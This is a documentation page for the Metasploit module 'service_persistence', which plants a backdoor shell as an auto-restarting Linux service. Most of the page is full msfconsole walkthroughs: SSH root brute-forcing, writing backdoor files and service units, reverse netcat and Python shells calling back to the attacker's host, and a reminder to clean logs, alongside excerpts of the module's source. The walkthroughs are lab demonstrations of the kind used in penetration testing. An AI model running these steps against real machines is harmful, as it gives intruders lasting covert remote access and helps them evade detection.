Service Persistence - Metasploit


This page contains detailed information about how to use the exploit/linux/local/service_persistence metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: Service Persistence
Module: exploit/linux/local/service_persistence
Source code: modules/exploits/linux/local/service_persistence.rb
Disclosure date: 1983-01-01
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): cmd
Supported platform(s): Linux, Unix
Target service / protocol: -
Target network port(s): -
List of CVEs: -

This module will create a service on the box, and mark it for auto-restart. We need enough access to write service files and potentially restart services Targets: System V: CentOS <= 5 Debian <= 6 Kali 2.0 Ubuntu <= 9.04 Upstart: CentOS 6 Fedora >= 9, < 15 Ubuntu >= 9.10, <= 14.10 systemd: CentOS 7 Debian >= 7, <=8 Fedora >= 15 Ubuntu >= 15.04 Note: System V won't restart the service if it dies, only an init change (reboot etc) will restart it.

Module Ranking and Traits


Module Ranking:

  • excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.

Basic Usage


Note: To run a local exploit, make sure you are at the msf prompt. Also, to check the session ID, use the sessions command.

msf > use exploit/linux/local/service_persistence
msf exploit(service_persistence) > show targets
    ... a list of targets ...
msf exploit(service_persistence) > set TARGET target-id
msf exploit(service_persistence) > show options
    ... show and set options ...
msf exploit(service_persistence) > set SESSION session-id
msf exploit(service_persistence) > exploit

Required Options


  • SESSION: The session to run this module on.

Knowledge Base


Creating A Testing Environment

This module has been tested against:

  1. Kali 2.0 (System V)
  2. Ubuntu 14.04 (Upstart)
  3. Ubuntu 16.04 (systemd)
  4. Ubuntu 16.04 (systemd user)
  5. Centos 5 (System V)
  6. Fedora 18 (systemd)
  7. Fedora 20 (systemd)

Verification Steps


  1. Start msfconsole
  2. Exploit a box via whatever method
  3. Do: use exploit/linux/local/service_persistence
  4. Do: set session #
  5. Do: set verbose true
  6. Do: set payload cmd/unix/reverse_python or payload cmd/unix/reverse_netcat depending on system.
  7. Optional Do: set SHELLAPTH /bin if needed for compatibility on remote system.
  8. Do: set lhost
  9. Do: exploit
  10. Do: use exploit/multi/handler
  11. Do: set payload cmd/unix/reverse_python or payload cmd/unix/reverse_netcat depending on system.
  12. Do: set lhost
  13. Do: exploit -j
  14. Kill your shell (if System V, reboot target). Upstart/systemd wait 10sec
  15. Get Shell

Options


target

There are several targets selectable, which all have their own issues.

  1. Automatic: Detect the service handler automatically based on running which to find the admin binaries
  2. System V: There is no automated restart, so while you'll get a shell, if it crashes, you'll need to wait for a init shift to restart the process automatically (like a reboot). This logs to syslog or /var/log/<process>.log and .err
  3. Upstart: Logs to its own file. This module is set to restart the shell after a 10sec pause, and do this forever.
  4. systemd and systemd user: This module is set to restart the shell after a 10sec pause, and do this forever.

SHELLPATH

If you need to change the location where the backdoor is written (like on CentOS 5), it can be done here. Default is /usr/local/bin

SERVICE

The name of the service to create. If not chosen, a 7 character random one is created.

SHELL_NAME

The name of the file to write with our shell. If not chosen, a 5 character random one is created.

Scenarios


System V (Centos 5 - root - chkconfig)

Get initial access

msf > use auxiliary/scanner/ssh/ssh_login
msf auxiliary(ssh_login) > set rhosts 192.168.199.131
rhosts => 192.168.199.131
msf auxiliary(ssh_login) > set username root
username => root
msf auxiliary(ssh_login) > set password centos
password => centos
msf auxiliary(ssh_login) > exploit

[*] 192.168.199.131:22 SSH - Starting bruteforce
[+] 192.168.199.131:22 SSH - Success: 'root:centos' 'uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) context=root:system_r:unconfined_t:SystemLow-SystemHigh Linux localhost.localdomain 2.6.18-398.el5 #1 SMP Tue Sep 16 20:51:48 EDT 2014 i686 i686 i386 GNU/Linux '
[*] Command shell session 1 opened (192.168.199.128:49359 -> 192.168.199.131:22) at 2016-06-22 14:27:38 -0400
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Install our callback service (system_v w/ chkconfig). Note we change SHELLPATH since /usr/local/bin isnt in the path for CentOS 5 services.

msf auxiliary(ssh_login) > use exploit/linux/local/service_persistence
msf exploit(service_persistence) > set session 1
session => 1
msf exploit(service_persistence) > set verbose true
verbose => true
msf exploit(service_persistence) > set SHELLPATH /bin
SHELLPATH => /bin
msf exploit(service_persistence) > set payload cmd/unix/reverse_netcat
payload => cmd/unix/reverse_netcat
msf exploit(service_persistence) > set lhost 192.168.199.128
lhost => 192.168.199.128
msf exploit(service_persistence) > exploit

[*] Started reverse handler on 192.168.199.128:4444 
[*] Writing backdoor to /bin/GUIJc
[*] Max line length is 65537
[*] Writing 95 bytes in 1 chunks of 329 bytes (octal-encoded), using printf
[*] Utilizing System_V
[*] Utilizing chkconfig
[*] Writing service: /etc/init.d/HqdezBF
[*] Max line length is 65537
[*] Writing 1825 bytes in 1 chunks of 6409 bytes (octal-encoded), using printf
[*] Enabling & starting our service
[*] Command shell session 2 opened (192.168.199.128:4444 -> 192.168.199.131:56182) at 2016-06-22 14:27:50 -0400

Reboot the box to prove persistence

reboot
^Z
Background session 2? [y/N]  y
msf exploit(service_persistence) > use exploit/multi/handler
msf exploit(handler) > set payload cmd/unix/reverse_netcat
payload => cmd/unix/reverse_netcat
msf exploit(handler) > set lhost 192.168.199.128
lhost => 192.168.199.128
msf exploit(handler) > exploit

[*] Started reverse handler on 192.168.199.128:4444 
[*] Starting the payload handler...
[*] Command shell session 3 opened (192.168.199.128:4444 -> 192.168.199.131:44744) at 2016-06-22 14:29:32 -0400

Upstart (Ubuntu 14.04.4 Server - root)

Of note, I allowed Root login via SSH w/ password only to gain easy initial access

Get initial access

msf auxiliary(ssh_login) > exploit

[*] 10.10.60.175:22 SSH - Starting bruteforce
[+] 10.10.60.175:22 SSH - Success: 'root:ubuntu' 'uid=0(root) gid=0(root) groups=0(root) Linux ubuntu 4.2.0-27-generic #32~14.04.1-Ubuntu SMP Fri Jan 22 15:32:27 UTC 2016 i686 i686 i686 GNU/Linux '
[*] Command shell session 1 opened (10.10.60.168:43945 -> 10.10.60.175:22) at 2016-06-22 08:03:15 -0400
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Install our callback service (Upstart)

msf auxiliary(ssh_login) > use exploit/linux/local/service_persistence
msf exploit(service_persistence) > set session 1
session => 1
msf exploit(service_persistence) > set verbose true
verbose => true
msf exploit(service_persistence) > set payload cmd/unix/reverse_python
payload => cmd/unix/reverse_python
msf exploit(service_persistence) > set lhost 10.10.60.168
lhost => 10.10.60.168
msf exploit(service_persistence) > exploit

[*] Started reverse handler on 10.10.60.168:4444 
[*] Writing backdoor to /usr/local/bin/bmmjv
[*] Max line length is 65537
[*] Writing 429 bytes in 1 chunks of 1650 bytes (octal-encoded), using printf
[*] Utilizing Upstart
[*] Writing /etc/init/Hipnufl.conf
[*] Max line length is 65537
[*] Writing 236 bytes in 1 chunks of 874 bytes (octal-encoded), using printf
[*] Starting service
[*] Dont forget to clean logs: /var/log/upstart/Hipnufl.log
[*] Command shell session 5 opened (10.10.60.168:4444 -> 10.10.60.175:44368) at 2016-06-22 08:23:46 -0400

And now, we can kill the callback shell from our previous session

^Z
Background session 5? [y/N]  y
msf exploit(service_persistence) > sessions -i 1
[*] Starting interaction with 1...

netstat -antp | grep 4444
tcp        0      0 10.10.60.175:44368      10.10.60.168:4444       ESTABLISHED 1783/bash
tcp        0      0 10.10.60.175:44370      10.10.60.168:4444       ESTABLISHED 1789/python
kill 1783
[*] 10.10.60.175 - Command shell session 5 closed.  Reason: Died from EOFError
kill 1789

Now with a multi handler, we can catch Upstart restarting the process every 10sec

msf > use exploit/multi/handler 
msf exploit(handler) > set payload cmd/unix/reverse_python
payload => cmd/unix/reverse_python
msf exploit(handler) > set lhost 10.10.60.168
lhost => 10.10.60.168
msf exploit(handler) > exploit

[*] Started reverse handler on 10.10.60.168:4444 
[*] Starting the payload handler...
[*] Command shell session 3 opened (10.10.60.168:4444 -> 10.10.60.175:44390) at 2016-06-22 08:26:48 -0400

systemd (Ubuntu 16.04 Server - root)

Ubuntu 16.04 doesn't have many of the default shell options, however cmd/unix/reverse_netcat works. While python shellcode works on previous sytems, on 16.04 the path is python3, and therefore python will fail the shellcode.

Get initial access

msf exploit(handler) > use exploit/linux/local/service_persistence
msf exploit(service_persistence) > set session 1
session => 1
msf exploit(service_persistence) > set verbose true
verbose => true
msf exploit(service_persistence) > set payload cmd/unix/reverse_netcat
payload => cmd/unix/reverse_netcat
msf exploit(service_persistence) > set lhost 192.168.199.128
lhost => 192.168.199.128
msf exploit(service_persistence) > exploit

[*] Started reverse handler on 192.168.199.128:4444 
[*] Writing backdoor to /usr/local/bin/JSRCF
[*] Max line length is 65537
[*] Writing 103 bytes in 1 chunks of 361 bytes (octal-encoded), using printf
[*] Utilizing systemd
[*] /lib/systemd/system/YelHpCx.service
[*] Max line length is 65537
[*] Writing 151 bytes in 1 chunks of 579 bytes (octal-encoded), using printf
[*] Enabling service
[*] Starting service
[*] Command shell session 7 opened (192.168.199.128:4444 -> 192.168.199.130:47050) at 2016-06-22 10:35:07 -0400

^Z
Background session 7? [y/N]  y

Kill the process on the Ubuntu target box via local access #good_admin

root@ubuntu:/etc/systemd/system/multi-user.target.wants# netstat -antp | grep 4444
tcp        0      0 192.168.199.130:47052   192.168.199.128:4444    ESTABLISHED 5632/nc
root@ubuntu:/etc/systemd/system/multi-user.target.wants# kill 5632

And logically, we lose our shell

 [*] 192.168.199.130 - Command shell session 7 closed.  Reason: Died from EOFError

Now with a multi handler, we can catch systemd restarting the process every 10sec

msf exploit(service_persistence) > use exploit/multi/handler 
msf exploit(handler) > show options

Module options (exploit/multi/handler):

 Name  Current Setting  Required  Description
 ----  ---------------  --------  -----------

Payload options (cmd/unix/reverse_netcat):

 Name   Current Setting  Required  Description
 ----   ---------------  --------  -----------
 LHOST  192.168.199.128  yes       The listen address
 LPORT  4444             yes       The listen port

Exploit target:

 Id  Name
 --  ----
 0   Wildcard Target

msf exploit(handler) > exploit

[*] Started reverse handler on 192.168.199.128:4444 
[*] Starting the payload handler...
[*] Command shell session 8 opened (192.168.199.128:4444 -> 192.168.199.130:47056) at 2016-06-22 10:37:30 -0400

systemd user (Ubuntu 16.04 Server - vagrant)

msf5 exploit(linux/local/service_persistence) > options

Module options (exploit/linux/local/service_persistence):

   Name        Current Setting  Required  Description
   ----        ---------------  --------  -----------
   SERVICE                      no        Name of service to create
   SESSION     -1               yes       The session to run this module on.
   SHELLPATH   /tmp             yes       Writable path to put our shell
   SHELL_NAME                   no        Name of shell file to write


Payload options (cmd/unix/reverse_netcat):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  172.28.128.1     yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   4   systemd user


msf5 exploit(linux/local/service_persistence) > run

[!] SESSION may not be compatible with this module.
[*] Started reverse TCP handler on 172.28.128.1:4444
[*] Writing backdoor to /tmp/PPpCF
[*] Max line length is 65537
[*] Writing 94 bytes in 1 chunks of 330 bytes (octal-encoded), using printf
[*] Creating user service directory
[*] Writing service: /home/vagrant/.config/systemd/user/OzzdRBC.service
[*] Max line length is 65537
[*] Writing 203 bytes in 1 chunks of 778 bytes (octal-encoded), using printf
[*] Reloading manager configuration
[*] Enabling service
[*] Starting service: OzzdRBC
[*] Command shell session 2 opened (172.28.128.1:4444 -> 172.28.128.3:52564) at 2019-03-06 00:22:40 -0600

id
uid=1000(vagrant) gid=1000(vagrant) groups=1000(vagrant)
uname -a
Linux ubuntu-xenial 4.4.0-141-generic #167-Ubuntu SMP Wed Dec 5 10:40:15 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux

Go back to menu.

Msfconsole Usage


Here is how the linux/local/service_persistence exploit module looks in the msfconsole:

msf6 > use exploit/linux/local/service_persistence

[*] No payload configured, defaulting to cmd/unix/reverse_netcat
msf6 exploit(linux/local/service_persistence) > show info

       Name: Service Persistence
     Module: exploit/linux/local/service_persistence
   Platform: Unix, Linux
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 1983-01-01

Provided by:
  h00die <[email protected]>
  Cale Black

Available targets:
  Id  Name
  --  ----
  0   Auto
  1   System V
  2   Upstart
  3   systemd
  4   systemd user

Check supported:
  No

Basic options:
  Name        Current Setting  Required  Description
  ----        ---------------  --------  -----------
  SERVICE                      no        Name of service to create
  SESSION                      yes       The session to run this module on.
  SHELLPATH   /usr/local/bin   yes       Writable path to put our shell
  SHELL_NAME                   no        Name of shell file to write

Payload information:

Description:
  This module will create a service on the box, and mark it for 
  auto-restart. We need enough access to write service files and 
  potentially restart services Targets: System V: CentOS <= 5 Debian 
  <= 6 Kali 2.0 Ubuntu <= 9.04 Upstart: CentOS 6 Fedora >= 9, < 15 
  Ubuntu >= 9.10, <= 14.10 systemd: CentOS 7 Debian >= 7, <=8 Fedora 
  >= 15 Ubuntu >= 15.04 Note: System V won't restart the service if it 
  dies, only an init change (reboot etc) will restart it.

References:
  https://www.digitalocean.com/community/tutorials/how-to-configure-a-linux-service-to-start-automatically-after-a-crash-or-reboot-part-1-practical-examples

Module Options


This is a complete list of options available in the linux/local/service_persistence exploit:

msf6 exploit(linux/local/service_persistence) > show options

Module options (exploit/linux/local/service_persistence):

   Name        Current Setting  Required  Description
   ----        ---------------  --------  -----------
   SERVICE                      no        Name of service to create
   SESSION                      yes       The session to run this module on.
   SHELLPATH   /usr/local/bin   yes       Writable path to put our shell
   SHELL_NAME                   no        Name of shell file to write

Payload options (cmd/unix/reverse_netcat):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.204.3    yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Auto

Advanced Options


Here is a complete list of advanced options supported by the linux/local/service_persistence exploit:

msf6 exploit(linux/local/service_persistence) > show advanced

Module advanced options (exploit/linux/local/service_persistence):

   Name                    Current Setting  Required  Description
   ----                    ---------------  --------  -----------
   ContextInformationFile                   no        The information file that contains context information
   DisablePayloadHandler   false            no        Disable the handler code for the selected payload
   EnableContextEncoding   false            no        Use transient context when encoding payloads
   EnableService           true             yes       Enable the service
   FileDropperDelay                         no        Delay in seconds before attempting cleanup
   VERBOSE                 false            no        Enable detailed status messages
   WORKSPACE                                no        Specify the workspace for this module
   WfsDelay                5                no        Additional delay in seconds to wait for a session

Payload advanced options (cmd/unix/reverse_netcat):

   Name                        Current Setting  Required  Description
   ----                        ---------------  --------  -----------
   AutoRunScript                                no        A script to run automatically on session creation.
   AutoVerifySession           true             yes       Automatically verify and drop invalid sessions
   CommandShellCleanupCommand                   no        A command to run before the session is closed
   CreateSession               true             no        Create a new session for every successful login
   InitialAutoRunScript                         no        An initial script to run on session creation (before AutoRunScript)
   ReverseAllowProxy           false            yes       Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
   ReverseListenerBindAddress                   no        The specific IP address to bind to on the local system
   ReverseListenerBindPort                      no        The port to bind to on the local system if different from LPORT
   ReverseListenerComm                          no        The specific communication channel to use for this listener
   ReverseListenerThreaded     false            yes       Handle every connection in a new thread (experimental)
   StagerRetryCount            10               no        The number of times the stager should retry if the first connect fails
   StagerRetryWait             5                no        Number of seconds to wait for the stager between reconnect attempts
   VERBOSE                     false            no        Enable detailed status messages
   WORKSPACE                                    no        Specify the workspace for this module

Exploit Targets


Here is a list of targets (platforms and systems) which the linux/local/service_persistence module can exploit:

msf6 exploit(linux/local/service_persistence) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Auto
   1   System V
   2   Upstart
   3   systemd
   4   systemd user

Compatible Payloads


This is a list of possible payloads which can be delivered and executed on the target system using the linux/local/service_persistence exploit:

msf6 exploit(linux/local/service_persistence) > show payloads

Compatible Payloads
===================

   #  Name                                 Disclosure Date  Rank    Check  Description
   -  ----                                 ---------------  ----    -----  -----------
   0  payload/cmd/unix/bind_netcat                          normal  No     Unix Command Shell, Bind TCP (via netcat)
   1  payload/cmd/unix/reverse_netcat                       normal  No     Unix Command Shell, Reverse TCP (via netcat)
   2  payload/cmd/unix/reverse_python                       normal  No     Unix Command Shell, Reverse TCP (via Python)
   3  payload/cmd/unix/reverse_python_ssl                   normal  No     Unix Command Shell, Reverse TCP SSL (via python)

Evasion Options


Here is the full list of possible evasion options supported by the linux/local/service_persistence exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 exploit(linux/local/service_persistence) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Unable to detect service system


Here is a relevant code snippet related to the "Unable to detect service system" error message:

134:	      has_updatercd = service_system_exists?('update-rc.d')
135:	      if has_updatercd || service_system_exists?('chkconfig') # centos 5
136:	        print_status('Utilizing System_V')
137:	        system_v(path, file, '2 3 4 5', has_updatercd)
138:	      else
139:	        print_error('Unable to detect service system')
140:	        register_file_for_cleanup(backdoor)
141:	      end
142:	    end
143:	  end
144:	

File not written, check permissions.


Here is a relevant code snippet related to the "File not written, check permissions." error message:

154:	    write_file(backdoor, payload.encoded)
155:	    if file_exist?(backdoor)
156:	      cmd_exec("chmod 711 #{backdoor}")
157:	      backdoor
158:	    else
159:	      print_error('File not written, check permissions.')
160:	      return
161:	    end
162:	  end
163:	
164:	  def systemd(backdoor_path, backdoor_file)

File not written, check permissions.


Here is a relevant code snippet related to the "File not written, check permissions." error message:

178:	    service_filename = datastore['SERVICE'] ? datastore['SERVICE'] : Rex::Text.rand_text_alpha(7)
179:	    service_name = "/lib/systemd/system/#{service_filename}.service"
180:	    vprint_status("Writing service: #{service_name}")
181:	    write_file(service_name, script)
182:	    if !file_exist?(service_name)
183:	      print_error('File not written, check permissions.')
184:	      return
185:	    end
186:	    if datastore['EnableService']
187:	      vprint_status('Enabling service')
188:	      cmd_exec("systemctl enable #{service_filename}.service")

File not written, check permissions. Attempting secondary location


Here is a relevant code snippet related to the "File not written, check permissions. Attempting secondary location" error message:

216:	    vprint_status("Writing service: #{service_name}")
217:	
218:	    write_file(service_name, script)
219:	
220:	    if !file_exist?(service_name)
221:	      print_error('File not written, check permissions. Attempting secondary location')
222:	      vprint_status("Creating user secondary service directory")
223:	      cmd_exec("mkdir -p #{home}/.local/share/systemd/user")
224:	
225:	      service_name = "#{home}/.local/share/systemd/user/#{service_filename}.service"
226:	      vprint_status("Writing .local service: #{service_name}")

File not written, check permissions.


Here is a relevant code snippet related to the "File not written, check permissions." error message:

225:	      service_name = "#{home}/.local/share/systemd/user/#{service_filename}.service"
226:	      vprint_status("Writing .local service: #{service_name}")
227:	      write_file(service_name, script)
228:	
229:	      if !file_exist?(service_name)
230:	        print_error('File not written, check permissions.')
231:	        return
232:	      end
233:	    end
234:	
235:	    # This was taken from pam_systemd(8)

File not written, check permissions.


Here is a relevant code snippet related to the "File not written, check permissions." error message:

265:	    service_filename = datastore['SERVICE'] ? datastore['SERVICE'] : Rex::Text.rand_text_alpha(7)
266:	    service_name = "/etc/init/#{service_filename}.conf"
267:	    vprint_status("Writing service: #{service_name}")
268:	    write_file(service_name, script)
269:	    if !file_exist?(service_name)
270:	      print_error('File not written, check permissions.')
271:	      return
272:	    end
273:	    vprint_status('Starting service')
274:	    cmd_exec("initctl start #{service_filename}")
275:	    vprint_status("Dont forget to clean logs: /var/log/upstart/#{service_filename}.log")

File not written, check permissions.


Here is a relevant code snippet related to the "File not written, check permissions." error message:

376:	    service_filename = datastore['SERVICE'] ? datastore['SERVICE'] : Rex::Text.rand_text_alpha(7)
377:	    service_name = "/etc/init.d/#{service_filename}"
378:	    vprint_status("Writing service: #{service_name}")
379:	    write_file(service_name, script)
380:	    if !file_exist?(service_name)
381:	      print_error('File not written, check permissions.')
382:	      return
383:	    end
384:	    cmd_exec("chmod 755 #{service_name}")
385:	    vprint_status('Enabling & starting our service')
386:	    if has_updatercd

Go back to menu.


References


See Also


Check also the following modules related to this module:

Authors


Version


This page has been produced using Metasploit Framework version 6.1.41-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.